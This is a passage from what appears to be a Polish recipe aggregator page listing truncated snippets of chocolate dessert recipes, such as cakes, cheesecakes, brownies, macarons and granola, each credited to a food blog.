agrestowe łyżka soku z cytryny Warstwa śmietanowa: 650ml śmietany kremówki 200ml jogurtu greckiego 80g cukru pudru 5 łyżeczek żelatyny 125ml wody szczypta soli Ponadto: ok 200 g herbatników tabliczka czekolady mlecznej Przygotowanie Galaretki rozpuszczamy w 0,75 l wody. Jabłka ścieramy na tarce o dużych oczkach, dokładnie odciskamy sok, polewamy sokiem z cytryny i mieszamy je z tężejącą galaretką(...)ubijając. Na koniec cienką strużką wlewamy żelatynę. 3/4 masy wylewamy na herbatniki. Wyrównujemy i układamy na niej kolejną warstwę herbatników. Na to rozprowadzamy resztę masy śmietanowej i posypujemy startą czekoladą. Ciasto odstawiamy do lodówki na kilka godzin

e-PrzepisyKulinarne
ciasto malina w czekoladzie 161

składniki: ok. 2 szkl malin 120 g mąki 100 g czekolady gorzkiej 150 g cukru 15 g kakao 125 g masła 1 jajko 1 łyżeczka kawy rozpuszczalnej 150 ml wody 2 płaskie łyżeczki proszku do pieczenia szczypta soli wykonanie: W rondelku umieszczamy połamaną czekoladę, masło, kakao, wodę, kawę oraz cukier. Zagotowujemy do rozpuszczenia się cukru, zestawiamy z ognia i odstawiamy

Domowy Smak Jedzenia
Tort samochodzik z białą czekoladą i likierem cytrynowym 205

trzy części.    Zdjęcie ze strony czas na male co nieco , ponieważ ja zapomniałam zrobić swojego :) Przełożenie : 250 g mascarpone 200 ml śmietany kremówki 100 g białej czekolady 3 łyżki likieru cytrynowego 3 łyżki cukru pudru Śmietanę ubić na sztywno. Dodać pozostałe składniki i zmiksować na gładki krem. Dekoracja : 200 ml śmietany kremówki 250 g mascarpone 2 łyżki cukru(...)Dodatkowo: barwnik czerwony i czarny -spożywczy  żółte i pomarańczowe M&M'sy Na paterze ułożyć pierwszy blat z większej części. Nasączyć ponczem i przełożyć połową kremu z czekoladą.  Nałożyć drugi blat. Z trzeciego wyciąć koła i dwa zderzaki.  Odkrojone boki będą kabiną autka. Należy je przełożyć resztą kremu i nasączyć. Gotową kabinę przykleić na odrobinie kremu

Chocolate Muffin Blog
Ciasteczka babci Jasi 139

ciasteczka mamy czyli babci Jasi.. 5 szkl.płatków kukurydzianych 3 szkl.mąki 1 margaryna 2 jajka 1/2 szkl.cukru cukier waniliowy 1 łyżka proszku do pieczenia rodzynki, czekolada Płatki pokruszyć, dodać margarynę , jajka , cukier i proszek do pieczenia oraz pokrojone bakalie i czekoladę.Zagnieść ciasto .Odrywać po małym kawałku ciasta ,formując małe kulki i układać na blaszce, lekko przycisnąć -rozpłaszczając

Moje domowe kucharzenie
Pucharek stracciatella z karmelizowanymi morelami - słodki bez cukru 206

doczekały się niezliczonych wariacji. W tym deserze poza włoskim serkiem śmietankowym numer 1 to morele. Po skarmelizowaniu z ksylitolem stały się apetycznie mięciutkie, idealne do puchatego serka najeżonego drobinkami czekolady. Mascarpone ubity z jogurtem greckim i dosmaczony Amaretto to idealna harmonia smakowa z morelami i ciasteczkami Amarettini ułożonymi na dnie pucharków. W prosty sposób  możesz stworzyć pyszne słodkości(...)zmiękną, ale się nie rozpadną. Odstawić do ostudzenia mascarpone ubić z jogurtem greckim, ksylitolem i amaretto. Ubijać kilka minut, aż krem stanie się puszysty i podwoi objętość. Wmieszac drobinki czekolady na dnie pucharków rozłożyć ciasteczka, warstwę kremu, następnie owoce przykryć kremem. Udekorować ciasteczkami, morelami i listkiem mięty. Podawać schłodzony

Gotuj zdrowo!Guten Appetit!
Mini serniczki czekoladowe 455

postaci babeczek, kremowe, aksamitne, pyszne! Maliny są tu przysłowiową wisienką na torcie. Grzechem byłoby nie spróbować. A zatem zapraszam do pieczenia! Składniki: 200 g śmietany kremówki 200 g gorzkiej czekolady 5 łyżek mleka 100 g cukru 2 jajka 500 g mielonego twarogu 1 torebka budyniu czekoladowego 1 łyżka kakao 12 sztuk ciasteczek Oreo 12 sztywnych papierowych foremek do babeczek Przygotowanie(...)Śmietanę podgrzewamy, wrzucamy do niej połamaną czekoladę i rozpuszczamy ją. Dolewamy mleko, odstawiamy do wystudzenia. Piekarnik rozgrzewamy do 175 stopni C. Jajka ucieramy z cukrem. Dodajemy twaróg, wsypujemy proszek budyniowy i kakao. Wlewamy czekoladową śmietanę. Starannie mieszamy. Na dno każdej papierowej foremki wkładamy po ciastku Oreo. Nakładamy na nie po porcji ciasta. Wstawiamy do piekarnika na 25 minut. Studzimy

Smakowity Blog Kulinarny
Tort grylażowy. 165

porzeczek i wiśni nie za słodki. Polecam! Składniki na tort grylażowy Masę do przełożenia blatów należy przygotować dzień przed składaniem tortu. MASA CZEKOLADOWA: 500 ml śmietany 30% 340 g czekolady (najlepiej gorzkiej)      Śmietankę podgrzewamy niemal do wrzenia, zdejmujemy z ognia, dodajemy połamaną w kostki czekoladę i mieszamy, aż się rozpuści. Następnie mieszamy dość energicznie, aż powstanie gładka

Rozpustne gotowanie
Makowiec na ucieranym cieście z suszonymi śliwkami. 205

Święta. Pyszne makowe nadzienie, hojnie nadziane bakaliami, otulone mięciutkim, ucieranym ciastem. Dopełnieniem jest polewa czekoladowa, która harmonijnie współgra z ciastem. Za ozdobę posłużyły mi cukierki, a mianowicie śliwki w czekoladzie. Całość pięknie się prezentuje i zawsze jest najchętniej wybieranym ciastem. Zapraszam na kawałek ;)       Korzystając z okazji chcę Wam życzyć pięknych, spokojnych, spędzonych w gronie najbliższych, niezapomnianych(...)łyżeczki proszku do pieczenia POLEWA CZEKOLADOWA: 125 g margaryny lub masła 1 łyżka wody 3 łyżki ciemnego kakao około 1 szklanka przesianego cukru pudru (do smaku) śliwki w czekoladzie do dekoracji      Mak przesypujemy do garnka z grubym dnem, wlewamy mleko, stawiamy na małym ogniu i zagotowujemy często mieszając. Gotujemy bez przykrycia aż mleko odparuje, studzimy. Letni

Rozpustne gotowanie
Seromakowiec. 773

szybko się rumieni ciasto przykrywamy folia aluminiową. Upieczone ciasto pozostawiamy w uchylonym piekarniku na około 10 minut, po tym czasie wyjmujemy i całkowicie studzimy. POLEWA CZEKOLADOWA: 100 g mlecznej czekolady 1 płaska łyżka ciemnego, gorzkiego kakao 3 łyżki mleka      Kakao łączymy z mlekiem i podgrzewamy, następnie dodajemy połamaną w kostki czekoladę i mieszamy, aż się rozpuści

Rozpustne gotowanie
Wegańskie awokado brownie. 136

wege) Awokado brownie z dodatkiem banana,  z gorzką czekolada i malinami  Bo bez jajka też się da.  Nadrabiam po latach stwierdzenia, że nie lubię awokado, dobrze, że mi się odmieniło, bo to... kremowe, z dużą ilością czekolady.. tak jak zawsze sobie wyobrażałam prawdziwe brownie, może trochę nie dopiekłam, ale kto by chciał dłużej czekać? takie

More food, love and dreams
Omlet z serkiem mascarpone i truskawkami 208

łyżki mąki (u mnie orkiszowa) 1 łyżka mielonych migdałów 1 łyżeczka cukru pudru 1 szczypta soli Nadzienie: 200 g serka mascarpone 2 łyżeczki cukru pudru 2 kostki gorzkiej czekolady 200 g truskawek 1 łyżka płatków migdałów SPOSÓB PRZYGOTOWANIA: Omlet: 1. W niedużej misce za pomoc a miksera lub trzepaczki ubijamy całe jajka z mlekiem i cukrem pudrem. 2. Do masy(...)odszypułkowane, osuszone i pokrojone na mniejsze kawałki truskawki i ponownie miksujemy. Na usmażone i lekko ostudzone omlety wykładamy serek truskawkowy, posypujemy płatkami migdałów, układamy kawałki truskawek i posypujemy startą czekoladą. Składamy na pół. Zajadamy się ze smakiem

W kuchni Katie
Truskawki z czekoladą 145

Zostało trochę czekolady od ciasteczek ... wiec trza było by jakoś spożytkować. truskawki  czekolada Truskawki [z szypułkami] umyć, osuszyć .Maczać w rozpuszczonej czekoladzie.Odłożyć zrobić lodówki zrobić zastygnięcia

Moje domowe kucharzenie
Mini ciasteczka w czekoladzie 141

kukurydzianej 1 łyżeczka proszku do pieczenia 60 g cukru [ u mnie mieszanka z cukrem kokosowym ] 60 g masła 2 jajka skórka otarta z 1 cytryny lub limonki Dodatkowo  czekolada posypka Rozgrzać piekarnik do 170 stopni z termoobiegiem lub 190 stopni w opcji: grzanie górne i dolne.Suche składniki wymieszać ze sobą , dodać resztę  składników i wymieszać ręcznie(...)kuchennego na puszystą masę.Wypełnić masą połowę formy "bez dziurek" i wygładzić powierzchnię. Przykryć górną połową formy.Piec przez około 15 minut.Po upieczeniu wystudzić, następnie zanurzyć ciasteczka  w rozpuszczonej czekoladzie i obtoczyć w posypce.Wstawić do lodówki na kilkanaście minut

Moje domowe kucharzenie
Lodowe kanapki straciatella. 168

SKŁADNIKI ( około 0,7 l ) 200 ml śmietanki kremówki 2 jajka 1 łyżka cukru kryształ 2 łyżki cukru pudru ( można zmienić ilość według preferencji) 2-3 łyżki płatków mlecznej czekolady dodatkowo: wafle truskawki SPOSÓB PRZYGOTOWANIA: 1. Śmietankę i jajka schłodzić dzień wcześniej w lodówce. 2. Jajka sparzyć. Oddzielić białka od żółtek. 3. Żółtka wraz z cukrem kryształ utrzeć na puszystą(...)lśniącej piany. 5. Śmietanę ubić na sztywno. 6. Wszystkie składniki delikatnie połączyć w jednolitą masę. 7. Dalej postępować zgodnie z instrukcją maszyny. Pod koniec kręcenia lodów dodać płatki mlecznej czekolady.  8. Lody można przygotować również bez maszyny. Pojemnik z lodami nalezy umieścić w zamrażarce i średnio, co 1-2 h miksować aby zapobieć wytworzeniu się kryształków lodu. 9. Kiedy

DefinicjaSmaku
Wiśniowa granola z kandyzowanym kokosem i czekoladą 237

soku wiśniowego (użyłam domowego) 2 łyżki miodu o delikatnym smaku dodatkowo 1/3 szklanki suszonej żurawiny lub suszonych wiśni 1/3 szklanki suszonych malin 1/3 szklanki kandyzowanego kokosa 1/2 tabliczki gorzkiej czekolady SPOSÓB PRZYGOTOWANIA Płatki owsiane, żytnie, otręby, orzechy, słonecznik oraz wiórki kokoswe mieszamy w sporej misce. Sok wiśniowy łączymy z płynnym miodem i zalewamy nim suche składniki, dokładnie mieszamy. Nagrzewamy piekarnik(...)piekarnika, ponownie mieszamy i zostawiamy do wystudzenia granola wtedy stwardnieje, Kandyzowanego kokosa oraz gorzką czekoladkę kroimy w dość drobną kostkę. Gdy granola będzie już wystudzona łączymy ją z czekoladą, kokosem, żurawiną oraz malinami i wspyjemy do szczelnie zamykanego słoiczka. Smacznego

DefinicjaSmaku
Mini serniczki z musem truskawkowym borówkami i miętą 143

pszennej  mus truskawkowy ok. 20 słodkich truskawek 200 ml śmietanki kremówki 1 łyżka cukru z prawdziwą wanilią 2 łyżeczki żelatyny lub agaru dodatkowo borówki listki mięty wiórki gorzkiej czekolady SPOSÓB PRZYGOTOWANIA Herbatniki, kakao i roztopione masło umieszczamy w blenderze i miksujemy na "mokry piasek". Serek łączymy ze śmietanką, dodajemy cukier, cukier waniliowy, ekstrakt waniliowy oraz mąkę i przy pomocy(...)lodówki na ok 20-30 min aż masa lekko stężeje. Przekłądamy masę do rękawa cukierniczego i wyciskamy masę na serniczki. Gotowe serniczki ozdabiamy borówkami, miętą i wiórkami gorzkiej czekolady i wstawiamt do lodówki na minimum 1h. Smacznego

DefinicjaSmaku
Chocolate lava cake 137

coś cudownego. Niewątpliwą zaletą tego deseru jest fakt, że można go przygotować w niecałe pół godzinki. Zapraszam! Składniki : 70 g cukru 5 jajek 50 g mąki 100 g gorzkiej czekolady 1 łyżka ciemnego kakao 100 g masła  W garnku umieścić masło i czekoladę, rozpuścić i delikatnie przestudzić. Jajka ubić z cukrem na puszystą pianę, dodać sos czekoladowy i mąkę

Chocolate Muffin Blog
Truskawkowa tapioka. 129

Truskawkowa tapioka z białą czekoladą  Prosto, łatwo, szybko, a jak pysznie ^^ A po za tym co to za początek wakacji bez czekolady...i lodów :D  Jakieś plany na wakacje? :) A popołudniu spodziewajcie się kolejnego wpisu z serii "Kilka pomysłów na.." Ask Facebook

More food, love and dreams
Czekoladowe ciasto owocowe 135

zadowoli zarówno miłośników sycącego brownie, jak i tych lżejszych, owocowych wypieków. Ja uwielbiam oba rodzaje, dlaczego więc ich nie połączyć? W rezultacie owoce nadały ciężkiej z z natury czekoladzie lekkiej i soczystej faktury. To jedno z tych ciast, którego kawałek można sobie przegryźć po śniadaniu, kawałek po obiedzie, bez wrażenia ciężkości, zarówno w ujęciu fizjologicznym, jak i psychicznym. Zdecydowanie jedno(...)szklanki pełnoziarnistej mąki orkiszowej ½ szklanki kakao (przesiane) 1 ½ łyżeczki sody oczyszczonej 1 łyżeczka proszku do pieczenia ½ łyżeczki soli ½ szklanki rozpuszczonego oleju kokosowego/wegańskiej margaryny Polewa: 150g ciemnej czekolady (min. 70%) 1 łyżka oleju kokosowego 2-3 łyżki płatków migdałowych do posypania Piekarnik rozgrzej do 175 °C, formę delikatnie natłuść i wyłóż papierem o pieczenia. Owoce umyj i pokrój w mniejsze

Roślinna - blog wegański
Kaszak, ciasto z kaszy manny 386

czytelniczkę z bloga: http://potravel.pl/ SKŁADNIKI: 1 litr mleka 3/4 szklanki cukru 1 opakowanie cukru waniliowego 1,5 szklanki kaszy manny 1 kostka masła lub margaryny herbatniki kiwi nektarynka czekolada 150 g PRZYGOTOWANIE: Blaszkę wyłożyć herbatnikami, moja 20 x 30. W garnku zagotować mleko, dodać masło i podgrzewać do jego rozpuszczenia. Dodać otwartą laskę wanilii , cukier a następnie partiami dodawać(...)herbatniki, delikatnie docisnąć. Ułożyć na wierzchu kolejną warstwę herbatników, pamiętając jak były ułożone te na dole. Później podczas krojenia, będzie to ładniej wyglądało. Odstawić do ostygnięcie. W tym czasie czekoladę rozpuścić w kąpieli wodnej. Następnie wylać na górę ciasta i rozprowadzić. Ja rozprowadziłam pędzelkiem i powstał fajny wzór. Na cieście układać plaster kiwi oraz nektarynki. Po przestygnięciu kroić w kostkę

e-PrzepisyKulinarne
Tarta z advocaatem, białą czekoladą i czarną porzeczką 260

następnie obniżamy temperaturę do 190*C i pieczemy jeszcze 15 minut. Wyjmujemy i odstawiamy. Nadzienie : 250 g serka mascarpone 100 ml advocatu 150 g białej czekolady, rozpuszczonej  Składniki zmiksować na gładką masę bez grudek. Dodatkowo: 1/2 słoiczka konfitury z czarnej porzeczki Na wystudzony spód wyłożyć konfiturę z czarnej porzeczki. Na wierzchu rozprowadzić masę z białą czekoladą. Schłodzić 12 godzin

Chocolate Muffin Blog
Jogurtowy sernik na zimno z truskawkami 511

rządku owoce i truskawkowy mus. Sądzę, że każdy sernikożerca będzie ukontentowany. Gorąco polecam na jutrzejszy Dzień Taty ! ;) Spód (na formę o średnicy 25 cm ) : 120 g gorzkiej czekolady 120 g masła 2 jajka 100 g brązowego cukru 100 g mąki 1 łyżeczka proszku do pieczenia Czekoladę połam na kawałki i wrzuć do rondelka razem z masłem pokrojonym w kostkę

Food Square
Mini brownies z kremem na bazie mascarpone i truskawkami 185

przyjęcie dla dzieci jak i imprezę w stylu finger party. Pomysł na przepis podpatrzyłam na stronie kwestia smaku .  Składniki na 12 babeczek standardowej wielkości: ciasto 120 g gorzkiej czekolady 1/2 szklanki brązowego cukru 70 g mąki pszennej tortowej 1 łyżeczka proszku do pieczenia 120 g masła 2 duże jajka krem 250 g serka mascarpone 2 łyżki jogurtu naturalnego(...)łyżki cukru pudru truskawki do dekoracji Czekoladę i masło rozpuścić w kąpieli wodnej. Lekko ostudzić. Do miski wbić jajka, Wsypać mąkę, cukier i proszek do pieczenia. Całość wymieszać ze sobą, a na sam koniec wlać masę czekoladową. Przygotowane ciasto przełożyć do papilotek. Piec około 15-18 minut w 165°C.W  międzyczasie przygotować krem. Mascarpone, jogurt i cukier puder wymieszać

Ugotować
Suflet czekoladowy z truskawkami 200

klasyczny suflet czekoladowy. Lekko płynny, nie za słodki, idealnie współgra ze świeżymi truskawkami i nutką mięty... Składniki:    2 jajka,  50g masła lub margaryny,  100g gorzkiej czekolady,  szczypta soli,  3 łyżki mąki pszennej,  1/3 szklanki cukru,  250g świeżych truskawek. Wykonanie Masło wraz z czekoladą stopić na małym ogniu, przestudzić.  Jajka ubić mikserem

Z miłości do słodkości
Ciastka czekoladowo-pomarańczowe 147

ciastka. Usta wygięły się w podkówkę, a do oczu napłynęły łzy. Są (były) chrupiące z zewnątrz, mięciutkie w środku, zupełnie jak brownie. Z dużą ilością rozpływającej się w ustach czekolady i pyszną, pachnącą skórką pomarańczową. Nie ma słów w żadnym języku świata, które mogłyby opisać jak bardzo są wspaniałe. Och. PS Sezon zdjęć robionych na podłodze pod oknem balkonowym uważam(...)otwarty. Margarynę utrzeć z cukrem. Dodać jajka, mąkę, kakao, proszek do pieczenia, sodę i likier. Zmiksować wszystko razem. Czekoladę posiekać na niezbyt grube kawałki, to samo zrobić ze skórką, po czym dodać je do ciasta i wymieszać łyżką. Blaszkę wyłożyć papierem do pieczenia. Z ciasta formować kulki, kłaść na blaszce i ręko je spłaszczać. Piec przez około 10 minut (zależy

wcinaj to
Delicja makowa 386

likieru amaretto (można pominąć w wersji bezalkoholowej) 250 g serka mascarpone (schłodzonego) 400 ml śmietanki 30% (schłodzonej) 2 łyżki cukru pudru Polewa: 130 ml śmietanki 30% 100 g gorzkiej czekolady Dekoracja: 30 g suszonej żurawiny 1/4 szklanki likieru amaretto lub wody do namoczenia   Przygotowanie: Biszkopt makowy: Na dno formy o wymiarach około 20 x 30 cm położyć prostokąt wycięty(...)niekoniecznie równą warstwą, może być po łyżeczce. Wyłożyć masę kawową i wyrównać powierzchnię. Wstawić do lodówki. Przygotować polewę: w rondelku zagotować kremówkę, odstawić z ognia, dodać połamaną na kosteczki czekoladę i mieszając całkowicie roztopić. Ostudzić. Polewę wylać na krem kawowy i schłodzić (minimum 3 godziny). Ciasto udekorować żurawiną namoczoną (około godzinę) w zagotowanym (gorącym) likierze lub wodzie

wcinaj to
Francuskie makaroniki cytrynowe 113

Składniki: Ciasto: - 90 g zimnych białek jajek - 250 g cukru pudru cytrynowego - barwnik żółty - 125 g mielonych migdałów - szczypta soli Krem: - 100 ml śmietany kremówki 36% - 150 g białej czekolady, drobno posiekanej - 40 g miękkiego masła - 1 łyżka aromatu cytrynowego Zacząłem jak poprzednio czyli od białek i szczypty soli, które zmiksowałem na sztywną pianę. Do piany wrzuciłem stopniowo cukier puder(...)wyrosły i były lekko pomarszczone niemniej zdecydowanie lepiej wyglądały niż w pierwszej próbie. Kiedy obie blachy makaroników wystygły wziąłem się za masę. Rozgrzałem śmietankę, wlałem ją do wcześniej posiekanej czekolady z masłem, dodałem barwnik, aromat cytrynowy i zostawiłem do stężenia . Po stężeniu nałożyłem masę na jedną stronę makaroników, złożyłem i gotowe Wnioski: 1. Trzeba zrobić kolejną próbę 2. Barwnik, który

Kuchenne Wariacje
Makaroniki migdałowe z czekoladą 147

Ciasto: - 90 g zimnych białek jajek - 250 g cukru pudru - 125 g mielonych migdałów - 2 łyżeczki aromatu migdałowego - szczypta soli Krem: - 100 ml śmietany kremówki 36% - 150 g mlecznej czekolady, drobno posiekanej - 40 g miękkiego masła   Ostatnio ubijanie ręczne wiele nie dało więc doszedłem do wniosku że szkoda się męczyć i zaproszę do współpracy mojego dobrego kumpla z szafki(...)nakładać pierwsza partię na silikonową matę a drugą na papier. Zostawiłem obie porcje do wysuszenia i zabrałem się za krem. W małym garnuszku rozgrzałem śmietankę, którą wlałem do posiekanej czekolady z masłem, a następnie zostawiłem do stężenia. Krem zajął się sobą a ja zająłem się wysuszonymi krążkami. Patrzę że są już suche więc pierwsza partia na silikonowej macie poszła

Kuchenne Wariacje
Czekoladowe brownie 162

zrobić bo też nie chciałam żeby powtarzało się z tym co już zrobili inni i w ten sposób padło na brownie. Źródło przepisu tutaj   Składniki : - 80g gorzkiej czekolady - 30g masła - 50g migdałów - jajko + 1 żółtko - 30g drobnego cukru - 1 łyżeczka cukru z prawdziwej wanilii - masło do wysmarowania kokilek i kakao do oprószenia   Najpierw rozpuszczamy masło z kawałkami czekolady

Kuchenne Wariacje
Ciasto 3 bit 424

pszennej - 40 g mąki ziemniaczanej - 100 m cukru z prawdziwą wanilią - 2 jajka Składniki na wykończenie ciasta: - 300 ml śmietany kremówki 36% - 2 łyżeczki cukru pudru - 60 g mlecznej czekolady Forma do ciasta 21×21 cm wyłożona papierem do pieczenia (ułatwia wyciąganie ciasta z formy). Najpierw robimy spód ciasta. Formę wykładamy herbatnikami. Masę kajmakową podgrzewamy, wykładamy na herbatniki(...)godzinek tym bardziej zmiękną herbatniki. Na drugi dzień wykańczamy ciasto. Śmietanę ubijamy na sztywno pod koniec dodając cukier i tak ubita przekładamy na wcześniej przygotowane warstwy. Wykańczamy ciasto ścierając czekoladę na małych oczkach. Po tej czynności można jeszcze chwilę zostawić ciasto w lodówce ale przyznamy że ciężko mu się oprzeć i od razu kawałki lądują na talerzykach Smacznego

Kuchenne Wariacje
Suflet czekoladowy 194

Podczas ostatnich zmagań mentorskich z Marcelem robiliśmy suflet czekoladowy, który możecie również sami spróbować zrobić Składniki: - 4 jajka - 200 g czekolady - 200 g cukru brązowego - 200 g mąki - 200 g masła Dodatkowo trochę masła i kakao do smarowania kokilek. Składniki na ok. 8 sztuk. Najpierw ubijamy żółtka z cukrem na gładką masę. Białka ubijamy na sztywną pianę i stopniowo dodajemy(...)żółtek delikatnie mieszając. Potem dodajemy przesianą mąkę oraz czekoladę z masłem rozpuszczone w kąpieli wodnej. Kokilki smarujemy masłem i obsypujemy kakao. Następnie napełniamy je masą czekoladową do 3/4 wysokości i wkładamy do nagrzanego piekarnika do temperatury 190 stopni i pieczemy z termoobiegiem ok. 10-11 minut (najlepiej włożyć sobie 1 suflet na próbę do piekarnika, ponieważ każdy piekarnik grzeje inaczej

Kuchenne Wariacje
Piernik staropolski 186

orzechów, 100 g migdałów, garść rodzynków, garść żurawiny, 50 g skórki pomarańczowej) Do przełożenia: 1. masa śliwkowo-czekoladowa: powidła śliwkowe (2 słoiki po 300 g) pół tabliczki gorzkiej czekolady 2. masa orzechowa: 1 szklanka cukru pudru 250 g zmielonych orzechów włoskich lub laskowych 10 łyżek mleka 1 łyżka masła pół łyżki spirytusu Polewa: 8 łyżek cukru 4 łyżki kwaśniej śmietany(...)odstawiamy w chłodne miejsce. III etap (3-4 dni przed świętami): MASY do przełożenia pierników: 1. masa: Powidła śliwkowe przełożyć do garnka i podgrzać, dodać gorzką czekoladę i mieszać do rozpuszczenia. Posmarować 1 blat piernika i przykryć drugim. 2. masa: Cukier, mleko i orzechy zagotować, cały czas mieszać, aby się nie przypaliło. Zestawić z ognia i dodać masło, następnie spirytus

Domowa Cookierenka Agi
Zdrowe trufle z bakaliami 154

suszonych fig 2 łyżeczki serka homogenizowanego waniliowego opcjonalnie: 1-2 łyżki likieru czekoladowego do obtaczania: wiórki kokosowe, mielone orzechy, mielone migdały, kakao, kolorowa posypka lub tabliczka mlecznej lub gorzkiej czekolady do polania trufli Przygotowanie: W malakserze (lub blenderze) mielimy orzechy, migały, figi, dodajemy serek (i ewentualnie likier) i wszystko razem łączymy. Formujemy kulki wielkości orzecha włoskiego, do formowania trufli można(...)lodówce trufle będą miękkie i trudniej będzie nadać im kształt za pomocą formy do czekoladek. Po wyjęciu z lodówki obtaczamy nasze trufle w różnych posypkach, ewentualnie rozpuszczamy tabliczkę czekolady w kąpieli wodnej (z dodatkiem łyżki oleju) i polewamy nią trufle

Domowa Cookierenka Agi
Batoniki jaglano-krówkowe 169

opakowania kaszy jaglanej preparowanej (140 g) 1 opakowanie białych pianek marshmallow (180 g) 50 g masła Masa krówkowa: 430 g krówek 50 g masła Polewa czekoladowa: niecała tabliczka czekolady deserowej 1 łyżka oleju 1 łyżka śmietany kremówki Przygotowanie: 1. Dużą blachę o wymiarach 30x41 cm wysmarować masłem. 2. W garnku z grubym dnem rozpuścić 50 g masła z piankami. Podgrzewać(...)lodówki, aby całość stężała. 9. UWAGA: Wyjąć z lodówki na kilka godzin przed podaniem, aby masa krówkowa zmiękła. 10. Całość polać masą czekoladową: Rozpuścić w kąpieli wodnej połamaną czekoladę, z dodatkiem oleju i śmietany. Mieszać od czasu do czasu, aż wszystko się rozpuści i powstanie gładka masa.  11. Pokroić na kwadraty, przechowywać w temp. pokojowej. Źródło/ Inspiracja:  Your

Domowa Cookierenka Agi
Śliwkowy krem czekoladowy (czekodżem) 137

niedużych słoiczków): 2 kg śliwek 1 kg bananów sok wyciśnięty z połowy cytryny 300 g brązowego cukru (lub mniej, jeśli śliwki są bardzo słodkie) 2 tabliczki (200 g) gorzkiej czekolady 2 łyżki kakao 80 ml likieru amaretto Przygotowanie : Słoiki wysterylizować. Ja to robię w piekarniku: słoiki i nakrętki myję, wstawiam do zimnego piekarnika, ustawiam piekarnik na 100° C (termoobieg(...)cytryny i zasypać cukrem. Gotując na niedużym doprowadzić do wrzenia. Od chwili zawrzenia gotować ok. 10 min. stale mieszając. Następnie całość zmiksować za pomocą blendera ręcznego, dodać pokruszoną czekoladę, kakao i mieszać, aż całkowicie się rozpuszczą. Na koniec dodać likier amaretto. Gorący krem przełożyć do słoików, dobrze zakręcić i odstawić do wystygnięcia do góry dnem

Domowa Cookierenka Agi
Brunsli - tradycyjne szwajcarskie ciasteczka 168

ciasteczek): 250 g mielonych migdałów 150 g cukru 2 łyżki mąki 2 łyżki kakao pół łyżeczki cynamonu pół łyżeczki mielonych goździków szczypta soli 2 białka 100 g gorzkiej czekolady 2 łyżki likieru Cherry Brandy lub wiśniówki (można pominąć) Przygotowanie: W misce wymieszać migdały, cukier, mąkę, kakao i przyprawy. W drugiej misce ubić pianę z białek. W kąpieli wodnej rozpuścić czekoladę

Domowa Cookierenka Agi
Ciasto KOPIEC KRETA 150

pokojowa) 1 łyżeczka ekstraktu waniliowego  Masa śmietanowa: 500 g schłodzonej śmietany kremówki 30 lub 36% 2 opakowania zagęstnika do śmietany 3 łyżki cukru pudru 4-5 kostek startej czekolady Dodatkowo: 3 banany (jeśli połówki) lub 6 (jeśli całe) . W sezonie można zamienić na truskawki. sok z cytryny do skropienia bananów kilka łyżek ponczu do nasączenia ciasta (mocna herbata(...)ciastem). Następnie całość pokryć masą śmietanową, tworząc kopiec. 6. Masa śmietanowa: Schłodzoną śmietanę kremówkę ubić z cukrem pudrem wymieszanym z zagęstnikiem do śmietany. Na koniec delikatnie wmieszać startą czekoladę.  7. Wierzch kopca posypać rozdrobnionym ciastem, delikatnie docisnąć. 8. Ciasto schłodzić. Przechowywać w lodówce. Co zrobić z pozostałym ciastem, które pozostało z wydrążonego środka? Absolutnie nie wyrzucać. Można je wykorzystać

Domowa Cookierenka Agi
.524. brownie z zielonego 118

jedno porcjowe brownie z awokado, z czekoladą i sosem toffi~  inspiracja . Zmiany: dodałam jeszcze dodatkowe 15g czekolady :3 Wracam do szkoły :( Na dwa dni - jaki w tym sens?! Whatever, byle do 20 stycznia! (ferie

breakfast of dreams
.549. razem muffinuJemy 121

razowa kakaowa muffina nadziana ricottą i jagodami z czekoladą~ Inspiracja , zmiany -> prawie żadne, bo jedynie użycie groszków czekoladowych zamiast posiekanej czekolady (na jedno wychodzi, nevermind) i posypanie nimi wierzchu muffiny zamiast dodanie do masy. Obłęd! To jedno słowo w zupełności wystarczy aby opisać ten wypiek. Zresztą, Karolina poleciła mi ją osobiście, a to chyba coś znaczy? Teraz

breakfast of dreams
.572. 11 bloggerów w Warszawie. Bobby Burger 160

piegus z czekoladą autorstwa Sylwii , czekolada, orzeszki ziemne, kanapki~ Wczoraj - jak wiele osób się domyśliło - 10 blogerów spotkało się w Warszawie. W mieszkaniu  Sylwii  -ja,  Magda ,  Anka ,  Sylwia  z Mateuszem,  Piotrek ,  Karolina , Karolina ,   Marysia  i  Ola . 11 osób, 2 noce, 1 łazienka - ale jest fajnie :D Po śniadaniu

breakfast of dreams
.621. z czekoladowym akcentem na Dzień Czekolady 100

wegańskie bananowe owsiane scramble z resztą banana, płatkami migdałów i gorzką czekoladą~ Celebrujemy Dzień Czekolady! :)) PRZEPIS /1 porcja/ ~45g płatków owsianych ~2-3 łyżki otrębów owsianych ~100ml mleka sojowego ~3/4 dużego, dojrzałego banana (ok. 100g) ~ew. coś do posłodzenia - cukier/stevia ~szczypta soli, proszku do pieczenia i sody    olej do smażenia Płatki i otręby zalać mlekiem i zostawić

breakfast of dreams
.732. z czym najlepiej komponują się maliny? 74

jogurt kokosowy* z malinami i rozpuszczoną białą czekoladą~ *jogurt naturalny + stevia + mąka kokosowa Maliny + kokos + biała czekolada = niebo w gębie! ♥♥♥ Nie mogę doczekać się niedzieli, kiedy to w końcu odpocznę po tym ciężkim tygodniu...Jeszcze trzy dni przede mną

breakfast of dreams
.758. zapieczona w dyni 101

cynamonowa wegańska owsianka z czekoladą pieczona w dyni~ W końcu, po dwóch tygodniach znalazłam wystarczająco małą dynię i mogłam zrealizować pomysł który chodził mi po głowie od momentu spróbowania owsianki gotowanej z dynią. Jadalne "miseczki" są fajne! :) PRZEPIS /1 porcja/ ~60g płatków owsianych ~50g jogurtu sojowego ~50ml mleka roślinnego +ew. 2-3 łyżki jeśli masa będzie za gęsta ~łyżka oleju(...)łyżeczki proszku do pieczenia ~cukier/stevia do smaku ~2 kostki gorzkiej czekoladady ~mała dynia, ok. 600-700g Dynię wydrążyć. Płatki wymieszać z proszkiem do pieczenia, cynamonem, posiekaną kostką czekolady i cukrem/stewia. Dodać olej, jogurt i mleko, wymieszać. Dynię podpiec w piekarniku rozgrzanym do 180*C przez ok. 10 minut. Masę wlać do środka dyni i piec w 180*C przez

breakfast of dreams
.806. bu-dynia 122

